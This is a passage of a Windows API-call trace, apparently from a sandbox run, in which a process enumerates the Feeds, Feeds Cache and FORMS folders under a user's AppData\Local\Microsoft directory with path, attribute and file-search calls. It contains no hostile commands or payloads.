[0097.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0097.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.772] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0097.772] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x57 [0097.773] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0097.773] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe48c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0097.775] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fe97d8 [0097.775] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.775] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.775] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.775] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2f [0097.775] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe97d8 [0097.775] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.776] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.776] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.776] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.776] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.776] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.776] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x35 [0097.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds cache"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0097.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.776] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x35 [0097.776] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe97d8 [0097.777] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.777] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.777] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.777] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.777] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.777] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.777] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.777] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.777] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x6cfe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3e [0097.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr"), fInfoLevelId=0x0, lpFileInformation=0x6cfe980 | out: lpFileInformation=0x6cfe980*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3e [0097.778] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fe97d8 [0097.779] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.779] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.779] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.779] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.779] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.779] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3e [0097.779] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fe97d8 [0097.779] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.779] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.779] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.779] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.780] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.780] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x6cfe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3e [0097.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.780] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7"), fInfoLevelId=0x0, lpFileInformation=0x6cfe980 | out: lpFileInformation=0x6cfe980*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.780] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3e [0097.780] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.780] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.780] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.780] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.780] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3e [0097.781] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.781] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.781] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.781] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.781] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x6cfe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3e [0097.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds cache\\d68g7bij"), fInfoLevelId=0x0, lpFileInformation=0x6cfe980 | out: lpFileInformation=0x6cfe980*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3e [0097.782] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.782] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.782] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.782] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.782] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.782] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3e [0097.782] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.782] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.782] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.782] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.783] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.783] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x6cfe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3e [0097.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.783] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd"), fInfoLevelId=0x0, lpFileInformation=0x6cfe980 | out: lpFileInformation=0x6cfe980*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xbae322b0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xbae322b0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.783] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3e [0097.783] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.783] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.783] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.783] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.783] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.784] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.784] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3e [0097.784] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.784] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.784] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.784] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.784] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.784] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x35 [0097.784] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.785] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.785] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.785] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.785] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.785] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.785] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.785] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.785] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2f [0097.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.785] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\forms"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa9483500, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xa9483500, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xa9483500, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.785] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2f [0097.785] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.786] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.786] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.786] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2f [0097.786] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.786] FindNextFileW (in: hFindFile=0x6fe97d8, 